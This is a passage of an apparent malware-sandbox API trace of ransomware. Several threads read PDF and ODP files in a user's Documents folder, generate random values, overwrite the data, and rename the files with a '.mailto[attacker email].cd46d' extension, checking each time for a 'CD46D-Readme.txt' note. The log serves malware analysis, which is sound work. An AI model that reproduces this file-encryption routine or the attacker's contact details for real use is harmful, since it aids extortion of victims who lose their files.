lpBuffer=0x197fca50*, lpNumberOfBytesRead=0x15c3fc10*=0xc800, lpOverlapped=0x0) returned 1 [0053.162] SetFilePointerEx (in: hFile=0xeb0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.162] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c3a8 [0053.162] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x437b98 [0053.162] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429480 [0053.162] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429480) returned 1 [0053.163] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x19809258 [0053.166] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429480 [0053.166] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429520 [0053.166] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429520) returned 1 [0053.166] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437b98) returned 1 [0053.166] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c3a8) returned 1 [0053.167] WriteFile (in: hFile=0xeb0, lpBuffer=0x19809258*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x15c3fc10, lpOverlapped=0x0 | out: lpBuffer=0x19809258*, lpNumberOfBytesWritten=0x15c3fc10*=0xc800, lpOverlapped=0x0) returned 1 [0053.504] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19809258) returned 1 [0053.504] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x197fca50) returned 1 [0053.504] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x33) returned 0x5efe2f0 [0053.504] SetFilePointerEx (in: hFile=0xeb0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.504] WriteFile (in: hFile=0xeb0, lpBuffer=0x196d0ce8*, nNumberOfBytesToWrite=0x117, lpNumberOfBytesWritten=0x15c3fc90, lpOverlapped=0x0 | out: lpBuffer=0x196d0ce8*, lpNumberOfBytesWritten=0x15c3fc90*=0x117, lpOverlapped=0x0) returned 1 [0053.921] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x196d0ce8) returned 1 [0053.921] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5efe330) returned 1 [0053.921] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf6b8) returned 1 [0053.921] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5efe2f0) returned 1 [0053.921] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429480) returned 1 [0053.921] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4294f8) returned 1 [0053.921] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429548) returned 1 [0053.921] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429570) returned 1 [0053.921] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc0) returned 0x12f4d9d8 [0053.921] wcscpy (in: _Dest=0x12f4d9d8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\XqhbQGBBxuz2zQT.odp" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\XqhbQGBBxuz2zQT.odp") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\XqhbQGBBxuz2zQT.odp" [0053.921] wcscat (in: _Dest=0x12f4d9d8, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\XqhbQGBBxuz2zQT.odp.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\XqhbQGBBxuz2zQT.odp.mailto[2Hamlampampom@cock.li].cd46d" [0053.921] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\XqhbQGBBxuz2zQT.odp.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x15c3fc48, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\XqhbQGBBxuz2zQT.odp.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0053.921] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd6) returned 0x4d4000 [0053.941] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4d4000) returned 1 [0053.942] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x48ecd0) returned 1 [0053.942] NtQueryInformationFile (in: FileHandle=0xeb0, IoStatusBlock=0x15c3fc54, FileInformation=0x15c3fc2c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x15c3fc54, FileInformation=0x15c3fc2c) returned 0x0 [0053.942] NtSetInformationFile (FileHandle=0xeb0, IoStatusBlock=0x15c3fc54, FileInformation=0x15c3fc2c, Length=0x28, FileInformationClass=0x4) returned 0x0 [0053.943] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12f4d9d8) returned 1 [0053.943] FlushFileBuffers (hFile=0xeb0) returned 1 [0053.947] CloseHandle (hObject=0xeb0) returned 1 [0053.948] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x12e08418 [0053.948] wcscpy (in: _Dest=0x12e08418, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0053.948] wcscat (in: _Dest=0x12e08418, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt" [0053.948] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cd46d-readme.txt")) returned 0x20 [0053.948] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e08418) returned 1 [0053.948] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e08518) returned 1 Thread: id = 863 os_tid = 0x1158 [0051.760] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Y49k.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\y49k.pdf")) returned 0x20 [0051.760] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Y49k.pdf", dwFileAttributes=0x20) returned 1 [0053.167] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Y49k.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\y49k.pdf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xeb4 [0053.167] GetFileSizeEx (in: hFile=0xeb4, lpFileSize=0x15d4fbc0 | out: lpFileSize=0x15d4fbc0*=43135) returned 1 [0053.167] SetFilePointerEx (in: hFile=0xeb4, liDistanceToMove=0xa87b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.167] ReadFile (in: hFile=0xeb4, lpBuffer=0x15d4fb44, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x15d4fb40, lpOverlapped=0x0 | out: lpBuffer=0x15d4fb44*, lpNumberOfBytesRead=0x15d4fb40*=0x4, lpOverlapped=0x0) returned 1 [0053.168] SetFilePointerEx (in: hFile=0xeb4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.168] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429520 [0053.168] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429598 [0053.168] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4295c0 [0053.168] NtQuerySystemTime (in: CurrentTime=0x15d4fb20 | out: CurrentTime=0x15d4fb20*=132174898171416000) returned 0x0 [0053.168] RtlRandomEx (in: Seed=0x15d4fb2c | out: Seed=0x15d4fb2c) returned 0x6c4faf78 [0053.169] RtlRandomEx (in: Seed=0x15d4fb2c | out: Seed=0x15d4fb2c) returned 0x1dba2f0b [0053.169] RtlRandomEx (in: Seed=0x15d4fb2c | out: Seed=0x15d4fb2c) returned 0x68510cb2 [0053.169] RtlRandomEx (in: Seed=0x15d4fb2c | out: Seed=0x15d4fb2c) returned 0x6bfc0577 [0053.169] RtlRandomEx (in: Seed=0x15d4fb2c | out: Seed=0x15d4fb2c) returned 0x6d1c1264 [0053.169] RtlRandomEx (in: Seed=0x15d4fb2c | out: Seed=0x15d4fb2c) returned 0x2af6efa9 [0053.169] RtlRandomEx (in: Seed=0x15d4fb2c | out: Seed=0x15d4fb2c) returned 0x6807fd7b [0053.169] RtlRandomEx (in: Seed=0x15d4fb2c | out: Seed=0x15d4fb2c) returned 0x4fd894b6 [0053.169] RtlRandomEx (in: Seed=0x15d4fb2c | out: Seed=0x15d4fb2c) returned 0xc8d6e44 [0053.169] RtlRandomEx (in: Seed=0x15d4fb2c | out: Seed=0x15d4fb2c) returned 0x6d04eb08 [0053.169] RtlRandomEx (in: Seed=0x15d4fb2c | out: Seed=0x15d4fb2c) returned 0x48b160e9 [0053.169] RtlRandomEx (in: Seed=0x15d4fb2c | out: Seed=0x15d4fb2c) returned 0x48a8477e [0053.169] RtlRandomEx (in: Seed=0x15d4fb2c | out: Seed=0x15d4fb2c) returned 0x1fa38e33 [0053.169] RtlRandomEx (in: Seed=0x15d4fb2c | out: Seed=0x15d4fb2c) returned 0x2a4d1b31 [0053.169] RtlRandomEx (in: Seed=0x15d4fb2c | out: Seed=0x15d4fb2c) returned 0xa294648 [0053.169] RtlRandomEx (in: Seed=0x15d4fb2c | out: Seed=0x15d4fb2c) returned 0x1802309d [0053.169] RtlRandomEx (in: Seed=0x15d4fb2c | out: Seed=0x15d4fb2c) returned 0x3a003892 [0053.169] RtlRandomEx (in: Seed=0x15d4fb2c | out: Seed=0x15d4fb2c) returned 0x20bd6c8b [0053.169] RtlRandomEx (in: Seed=0x15d4fb2c | out: Seed=0x15d4fb2c) returned 0x32ae5df9 [0053.169] RtlRandomEx (in: Seed=0x15d4fb2c | out: Seed=0x15d4fb2c) returned 0x17b3b40b [0053.169] RtlRandomEx (in: Seed=0x15d4fb2c | out: Seed=0x15d4fb2c) returned 0x7aa325db [0053.169] RtlRandomEx (in: Seed=0x15d4fb2c | out: Seed=0x15d4fb2c) returned 0x2730d75e [0053.169] RtlRandomEx (in: Seed=0x15d4fb2c | out: Seed=0x15d4fb2c) returned 0x3de916d0 [0053.169] RtlRandomEx (in: Seed=0x15d4fb2c | out: Seed=0x15d4fb2c) returned 0x6bb2de7e [0053.169] RtlRandomEx (in: Seed=0x15d4fb2c | out: Seed=0x15d4fb2c) returned 0x11ad390b [0053.169] RtlRandomEx (in: Seed=0x15d4fb2c | out: Seed=0x15d4fb2c) returned 0x6087564c [0053.169] RtlRandomEx (in: Seed=0x15d4fb2c | out: Seed=0x15d4fb2c) returned 0x1712dc [0053.169] RtlRandomEx (in: Seed=0x15d4fb2c | out: Seed=0x15d4fb2c) returned 0x46800029 [0053.169] RtlRandomEx (in: Seed=0x15d4fb2c | out: Seed=0x15d4fb2c) returned 0x7d22fe70 [0053.169] RtlRandomEx (in: Seed=0x15d4fb2c | out: Seed=0x15d4fb2c) returned 0x45486621 [0053.169] RtlRandomEx (in: Seed=0x15d4fb2c | out: Seed=0x15d4fb2c) returned 0x343598aa [0053.170] RtlRandomEx (in: Seed=0x15d4fb2c | out: Seed=0x15d4fb2c) returned 0x6fe4180 [0053.182] ReadFile (in: hFile=0xeb4, lpBuffer=0x19815a60, nNumberOfBytesToRead=0xa87f, lpNumberOfBytesRead=0x15d4fb1c, lpOverlapped=0x0 | out: lpBuffer=0x19815a60*, lpNumberOfBytesRead=0x15d4fb1c*=0xa87f, lpOverlapped=0x0) returned 1 [0053.183] SetFilePointerEx (in: hFile=0xeb4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.183] WriteFile (in: hFile=0xeb4, lpBuffer=0x19822268*, nNumberOfBytesToWrite=0xa87f, lpNumberOfBytesWritten=0x15d4fb18, lpOverlapped=0x0 | out: lpBuffer=0x19822268*, lpNumberOfBytesWritten=0x15d4fb18*=0xa87f, lpOverlapped=0x0) returned 1 [0053.505] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf6e0 [0053.505] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf708 [0053.505] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf708) returned 1 [0053.505] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19822268) returned 1 [0053.505] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19815a60) returned 1 [0053.509] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437b98) returned 1 [0053.509] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c3a8) returned 1 [0053.509] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x1d) returned 0x97cf708 [0053.509] SetFilePointerEx (in: hFile=0xeb4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.509] WriteFile (in: hFile=0xeb4, lpBuffer=0x196d0e08*, nNumberOfBytesToWrite=0x101, lpNumberOfBytesWritten=0x15d4fb80, lpOverlapped=0x0 | out: lpBuffer=0x196d0e08*, lpNumberOfBytesWritten=0x15d4fb80*=0x101, lpOverlapped=0x0) returned 1 [0053.633] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x196d0e08) returned 1 [0053.633] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf730) returned 1 [0053.633] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf758) returned 1 [0053.633] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf708) returned 1 [0053.633] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf6e0) returned 1 [0053.633] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429598) returned 1 [0053.633] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4295e8) returned 1 [0053.633] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429610) returned 1 [0053.633] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xaa) returned 0x45ced0 [0053.633] wcscpy (in: _Dest=0x45ced0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Y49k.pdf" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Y49k.pdf") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Y49k.pdf" [0053.633] wcscat (in: _Dest=0x45ced0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Y49k.pdf.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Y49k.pdf.mailto[2Hamlampampom@cock.li].cd46d" [0053.633] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Y49k.pdf.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x15d4fb38, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Y49k.pdf.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0053.634] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc0) returned 0x12f4daa0 [0053.823] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12f4daa0) returned 1 [0053.823] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x49d000) returned 1 [0053.823] NtQueryInformationFile (in: FileHandle=0xeb4, IoStatusBlock=0x15d4fb44, FileInformation=0x15d4fb1c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x15d4fb44, FileInformation=0x15d4fb1c) returned 0x0 [0053.823] NtSetInformationFile (FileHandle=0xeb4, IoStatusBlock=0x15d4fb44, FileInformation=0x15d4fb1c, Length=0x28, FileInformationClass=0x4) returned 0x0 [0053.826] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45ced0) returned 1 [0053.826] FlushFileBuffers (hFile=0xeb4) returned 1 [0053.833] CloseHandle (hObject=0xeb4) returned 1 [0053.841] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x12e08498 [0053.841] wcscpy (in: _Dest=0x12e08498, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0053.841] wcscat (in: _Dest=0x12e08498, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt" [0053.841] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cd46d-readme.txt")) returned 0x20 [0053.842] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e08498) returned 1 [0053.842] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43c550) returned 1 Thread: id = 864 os_tid = 0x115c [0051.760] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zM7uBdyE.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\zm7ubdye.pdf")) returned 0x20 [0051.760] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zM7uBdyE.pdf", dwFileAttributes=0x20) returned 1 [0053.184] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zM7uBdyE.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\zm7ubdye.pdf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xeb8 [0053.184] GetFileSizeEx (in: hFile=0xeb8, lpFileSize=0x15fffeb4 | out: lpFileSize=0x15fffeb4*=61976) returned 1 [0053.184] SetFilePointerEx (in: hFile=0xeb8, liDistanceToMove=0xf214, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.184] ReadFile (in: hFile=0xeb8, lpBuffer=0x15fffe38, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x15fffe34, lpOverlapped=0x0 | out: lpBuffer=0x15fffe38*, lpNumberOfBytesRead=0x15fffe34*=0x4, lpOverlapped=0x0) returned 1 [0053.185] SetFilePointerEx (in: hFile=0xeb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.185] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429520 [0053.185] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4295c0 [0053.185] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429638 [0053.185] NtQuerySystemTime (in: CurrentTime=0x15fffe14 | out: CurrentTime=0x15fffe14*=132174898171728000) returned 0x0 [0053.185] RtlRandomEx (in: Seed=0x15fffe20 | out: Seed=0x15fffe20) returned 0x7a417a4e [0053.185] RtlRandomEx (in: Seed=0x15fffe20 | out: Seed=0x15fffe20) returned 0x66c13a01 [0053.185] RtlRandomEx (in: Seed=0x15fffe20 | out: Seed=0x15fffe20) returned 0x305b4e49 [0053.185] RtlRandomEx (in: Seed=0x15fffe20 | out: Seed=0x15fffe20) returned 0x6d5cb517 [0053.185] RtlRandomEx (in: Seed=0x15fffe20 | out: Seed=0x15fffe20) returned 0x534ff88e [0053.185] RtlRandomEx (in: Seed=0x15fffe20 | out: Seed=0x15fffe20) returned 0x71c79deb [0053.185] RtlRandomEx (in: Seed=0x15fffe20 | out: Seed=0x15fffe20) returned 0x7783e6b2 [0053.185] RtlRandomEx (in: Seed=0x15fffe20 | out: Seed=0x15fffe20) returned 0x692eb9ad [0053.185] RtlRandomEx (in: Seed=0x15fffe20 | out: Seed=0x15fffe20) returned 0x24aef3a0 [0053.185] RtlRandomEx (in: Seed=0x15fffe20 | out: Seed=0x15fffe20) returned 0x184cc3 [0053.186] RtlRandomEx (in: Seed=0x15fffe20 | out: Seed=0x15fffe20) returned 0x4b40b5f6 [0053.186] RtlRandomEx (in: Seed=0x15fffe20 | out: Seed=0x15fffe20) returned 0x58b54923 [0053.186] RtlRandomEx (in: Seed=0x15fffe20 | out: Seed=0x15fffe20) returned 0x1f327dd5 [0053.186] RtlRandomEx (in: Seed=0x15fffe20 | out: Seed=0x15fffe20) returned 0x62ff922b [0053.186] RtlRandomEx (in: Seed=0x15fffe20 | out: Seed=0x15fffe20) returned 0x2c29d7b2 [0053.186] RtlRandomEx (in: Seed=0x15fffe20 | out: Seed=0x15fffe20) returned 0x61900127 [0053.186] RtlRandomEx (in: Seed=0x15fffe20 | out: Seed=0x15fffe20) returned 0x1a3822e5 [0053.186] RtlRandomEx (in: Seed=0x15fffe20 | out: Seed=0x15fffe20) returned 0x2f0c2e12 [0053.186] RtlRandomEx (in: Seed=0x15fffe20 | out: Seed=0x15fffe20) returned 0x3124c279 [0053.186] RtlRandomEx (in: Seed=0x15fffe20 | out: Seed=0x15fffe20) returned 0x20179b1d [0053.186] RtlRandomEx (in: Seed=0x15fffe20 | out: Seed=0x15fffe20) returned 0x747a1233 [0053.186] RtlRandomEx (in: Seed=0x15fffe20 | out: Seed=0x15fffe20) returned 0x3110979 [0053.186] RtlRandomEx (in: Seed=0x15fffe20 | out: Seed=0x15fffe20) returned 0x41d1fcfb [0053.186] RtlRandomEx (in: Seed=0x15fffe20 | out: Seed=0x15fffe20) returned 0x6fbd643a [0053.186] RtlRandomEx (in: Seed=0x15fffe20 | out: Seed=0x15fffe20) returned 0x4f7b4416 [0053.186] RtlRandomEx (in: Seed=0x15fffe20 | out: Seed=0x15fffe20) returned 0x6f530239 [0053.186] RtlRandomEx (in: Seed=0x15fffe20 | out: Seed=0x15fffe20) returned 0x2051305d [0053.186] RtlRandomEx (in: Seed=0x15fffe20 | out: Seed=0x15fffe20) returned 0x7669b604 [0053.186] RtlRandomEx (in: Seed=0x15fffe20 | out: Seed=0x15fffe20) returned 0x3acb3a46 [0053.186] RtlRandomEx (in: Seed=0x15fffe20 | out: Seed=0x15fffe20) returned 0x6a7f0dae [0053.186] RtlRandomEx (in: Seed=0x15fffe20 | out: Seed=0x15fffe20) returned 0x553f9d26 [0053.186] RtlRandomEx (in: Seed=0x15fffe20 | out: Seed=0x15fffe20) returned 0x6d6c5ad8 [0053.198] SetFilePointerEx (in: hFile=0xeb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.198] ReadFile (in: hFile=0xeb8, lpBuffer=0x1982ea70, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x15fffdf4, lpOverlapped=0x0 | out: lpBuffer=0x1982ea70*, lpNumberOfBytesRead=0x15fffdf4*=0xc800, lpOverlapped=0x0) returned 1 [0053.199] SetFilePointerEx (in: hFile=0xeb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.199] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c3f0 [0053.199] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x437c10 [0053.199] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429520 [0053.199] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429520) returned 1 [0053.200] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x1983b278 [0053.204] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429520 [0053.204] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429638 [0053.204] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429638) returned 1 [0053.204] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437c10) returned 1 [0053.204] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c3f0) returned 1 [0053.204] WriteFile (in: hFile=0xeb8, lpBuffer=0x1983b278*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x15fffdf4, lpOverlapped=0x0 | out: lpBuffer=0x1983b278*, lpNumberOfBytesWritten=0x15fffdf4*=0xc800, lpOverlapped=0x0) returned 1 [0053.511] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x1983b278) returned 1 [0053.513] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x1982ea70) returned 1 [0053.516] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x25) returned 0x97ce550 [0053.516] SetFilePointerEx (in: hFile=0xeb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.516] WriteFile (in: hFile=0xeb8, lpBuffer=0x12d9f140*, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0x15fffe74, lpOverlapped=0x0 | out: lpBuffer=0x12d9f140*, lpNumberOfBytesWritten=0x15fffe74*=0x109, lpOverlapped=0x0) returned 1 [0053.635] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d9f140) returned 1 [0053.635] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce580) returned 1 [0053.635] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ed980) returned 1 [0053.635] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce550) returned 1 [0053.635] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429520) returned 1 [0053.635] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4295c0) returned 1 [0053.635] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429660) returned 1 [0053.635] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429688) returned 1 [0053.635] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb2) returned 0x5e02ae0 [0053.635] wcscpy (in: _Dest=0x5e02ae0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zM7uBdyE.pdf" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zM7uBdyE.pdf") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zM7uBdyE.pdf" [0053.635] wcscat (in: _Dest=0x5e02ae0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zM7uBdyE.pdf.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zM7uBdyE.pdf.mailto[2Hamlampampom@cock.li].cd46d" [0053.635] 